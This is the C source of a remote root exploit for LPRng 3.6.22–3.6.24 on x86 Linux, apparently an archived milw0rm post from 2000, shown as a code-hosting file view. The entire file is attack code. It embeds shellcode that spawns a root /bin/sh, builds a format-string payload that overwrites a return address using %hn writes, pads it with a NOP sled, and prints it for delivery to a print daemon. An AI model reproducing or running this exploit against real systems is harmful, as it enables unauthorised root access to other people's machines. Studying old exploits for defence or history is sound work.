92 lines
No EOL
2.4 KiB
C
92 lines
No EOL
2.4 KiB
C
/*
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* LPRng remote root exploit for x86 Linux
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* 9/27/00
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*
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* - sk8
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* tested on compiled LPRng 3.6.22/23/24
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*
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*/
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#include <unistd.h>
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#include <stdio.h>
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char sc[]=
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"\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff"
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"\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39"
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"\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7"
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"\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b"
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"\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh";
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#define NOP 0x90 //will be split up, doesn't matter
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int main(int argc, char** argv) {
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char getbuf[1000];
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int bpad=0; /* was 2 */ /* 3 for other */
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/* 2 - -34
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3 - -41
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0 - -42
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*/
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int i=0;
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int eiploc=0x41424344;
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char buffer[1024];
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char fmtbuf[128];
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int shloc=-1; //0xbffff2c8;
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int hi=100;
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int lo=200;
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int pre=0;
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int align=-36;
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int pos=511; //483; //488; /*299;*/
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int debug=0;
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char s=0;
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char mode='n';
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while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
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switch(s) {
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case 'a': align=atoi(optarg); break;
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case 'b': bpad=atoi(optarg);
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break;
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case 'e': eiploc=strtoul(optarg, 0,0);
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break;
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case 's': shloc=strtoul(optarg, 0, 0);
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break;
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case 'p': pos=atoi(optarg); break;
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case 'd': debug=1; break;
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default:
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}
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}
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if (shloc == -1) shloc=eiploc+2450;
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memset(buffer, 0, sizeof(buffer));
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memset(fmtbuf, 0, sizeof(fmtbuf));
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memset(buffer, 'B', bpad);
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*(long*)(buffer+strlen(buffer))=eiploc+2;
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*(long*)(buffer+strlen(buffer))=0x50505050;
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*(long*)(buffer+strlen(buffer))=eiploc;
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pre=strlen(buffer);
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if (debug) { mode='p'; hi=100; lo=100; }
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else {
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hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
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lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
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}
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sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
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strcat(buffer+strlen(buffer), fmtbuf);
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/* make it easier to hit shellcode */
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memset(buffer+strlen(buffer), NOP, 385);
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strcat(buffer, sc);
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*(char*)(buffer+strlen(buffer))=0;
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fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf));
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fprintf(stderr, "pos: %i\n", pos);
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fprintf(stderr, "align: %i\n", align);
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fprintf(stderr, "eip location: 0x%x\n", eiploc);
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fprintf(stderr, "shellcode location: 0x%x\n", shloc);
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fprintf(stderr, "strlen(sc): %i\n", strlen(sc));
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fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer));
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printf("%s", buffer);
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putchar('\n');
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}
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// milw0rm.com [2000-12-11]
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